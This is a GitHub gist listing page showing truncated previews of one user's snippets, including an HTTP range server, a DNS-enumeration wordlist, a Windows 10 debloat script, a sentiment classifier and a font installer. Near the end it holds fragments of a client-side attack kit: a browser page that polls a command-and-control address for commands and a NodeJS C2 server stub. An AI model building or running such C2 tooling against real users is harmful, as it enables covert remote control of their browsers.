Skip to content

Instantly share code, notes, and snippets.

This file has been truncated, but you can view the full file.
/
$$$lang-translate.service.js.aspx
$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0
@AdamGreenhill
AdamGreenhill / RangeHTTPServer.py
Created May 21, 2018 23:27 — forked from shivakar/RangeHTTPServer.py
Python's SimpleHTTPServer extended to handle HTTP/1.1 Range requests
import os
import SimpleHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
class RangeHTTPRequestHandler(SimpleHTTPRequestHandler):
"""RangeHTTPRequestHandler is a SimpleHTTPRequestHandler
with HTTP 'Range' support"""
def send_head(self):
"""Common code for GET and HEAD commands.
@AdamGreenhill
AdamGreenhill / all.txt
Created April 8, 2018 23:34 — forked from jhaddix/all.txt
all wordlists for every dns enumeration tool... ever.
@
*
0
00
0-0
000
0000
00000
000000
@AdamGreenhill
AdamGreenhill / reclaimWindows10.ps1
Created January 8, 2017 00:43 — forked from alirobe/reclaimWindows10.ps1
"Reclaim Windows 10" turns off a bunch of unnecessary Windows 10 telemetery, removes bloatware, and privacy invasions. Review and tweak before running. Scripts for reversing are included and commented. Fork via https://github.com/Disassembler0 (different defaults)
##########
# Win10 Initial Setup Script
# Author: Disassembler <[email protected]>
# Version: 1.7, 2016-08-15
# dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/
# THIS IS A PERSONALIZED VERSION
# This script leaves more MS defaults on, including MS security features.
# Tweaked based on personal preferences for @alirobe 2016-11-16 - v1.7.1
@AdamGreenhill
AdamGreenhill / sentiment_classification.py
Created December 29, 2016 22:34 — forked from bonzanini/sentiment_classification.py
Sentiment analysis with scikit-learn
# You need to install scikit-learn:
# sudo pip install scikit-learn
#
# Dataset: Polarity dataset v2.0
# http://www.cs.cornell.edu/people/pabo/movie-review-data/
#
# Full discussion:
# https://marcobonzanini.wordpress.com/2015/01/19/sentiment-analysis-with-python-and-scikit-learn

Keybase proof

I hereby claim:

  • I am AdamGreenhill on github.
  • I am sentient (https://keybase.io/sentient) on keybase.
  • I have a public key whose fingerprint is A771 ED84 414F 4AB4 8765 0087 71D2 9FB3 C190 541B

To claim this, I am signing this object:

@AdamGreenhill
AdamGreenhill / install_hack_typeface.sh
Created January 22, 2016 14:25 — forked from mxlian/install_hack_typeface.sh
Install Hack Typeface on Ubuntu/Debian
DEST_DIR=~/.fonts/hack_typeface
mkdir -p $DEST_DIR
# Check if you have unzip, if not install
which unzip >/dev/null || (echo "INFO: I need to install unzip"; sudo apt-get install unzip)
# Download font
wget --directory-prefix $DEST_DIR https://github.com/chrissimpkins/Hack/releases/download/v2.010/Hack-v2_010-otf.zip
# Decompress
unzip $DEST_DIR/Hack-*.zip -d $DEST_DIR
# Clean zip file
<iframe id="iframe" src=""></iframe>
<img id="image" src=""></img>
<script id="script" src=""></script>
<script>
var params = {server : {url : "http://172.16.66.10:8090/"}, threshold : 3000};
var iframeElement = document.getElementById("iframe");
var imageElement = document.getElementById("image");
var scriptElement = document.getElementById("script");
function loadResource(_cmdId,_data,_timing) {
/*
* Simple client side attacks NodeJS command and control server
*
*/
var http = require('http');
var url = require('url');
var Buffer = require('buffer').Buffer;
var commandQueue = [];
var commandId = 0;
#!/usr/bin/env python
import smtplib
class Gmail(object):
def __init__(self, email, password):
self.email = email
self.password = password
self.server = 'smtp.gmail.com'
self.port = 587
session = smtplib.SMTP(self.server, self.port)